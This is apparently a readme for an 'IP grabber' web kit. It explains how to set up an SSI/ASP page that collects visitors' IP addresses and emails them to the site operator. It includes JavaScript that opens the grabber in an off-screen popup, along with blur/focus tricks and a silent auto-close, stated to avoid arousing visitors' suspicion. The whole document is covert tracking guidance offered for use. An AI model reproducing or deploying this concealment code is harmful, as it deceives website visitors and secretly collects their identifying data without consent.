Instructions:
1) Make sure the IP_grabber page uses the extension: ".shtml"
2) Make sure to change "YOU@HOTMAIL.COM" in the "IP_grabber.shtml" page to YOUR email addy.
3) You will need access to a webserver with SSI and .ASP scripting permitted.
4) Make sure all you directory locations are correct!
Tips:
When the "IP_grabber.shtml" page processes the data (by means of "grab_it.asp") the whole page will go blank. To avoid any suspisions from your vistors load the "IP_grabber.shtml" page out of view by adding some code on the launcher page like so:
<script type="text/javascript">
<!--
function load_it(){
window.open
('IP_grabber.shtml','','left=5000,top=5000,height=10,width=10');
}
load_it();
//-->
</script>
This will open the "IP_grabber.shtml" page out of view. Note: I have added the onLoad="self.blur()" to the hidden pages body tags to keep them hidden in Netscape. You should also add onLoad="self.focus()" to the body tag of the page you use to launch the hidden window.
NOW the "grab_it.asp" page (the process page) contains a script which will automaticlly close the hidden window after the form is processed which will only work (without any notification) if it is already an 'externally opened' window.